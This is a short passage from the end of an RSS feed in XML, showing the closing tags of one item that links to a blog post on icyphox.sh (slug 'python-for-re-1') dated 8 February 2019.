1587]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel>
1588</rss>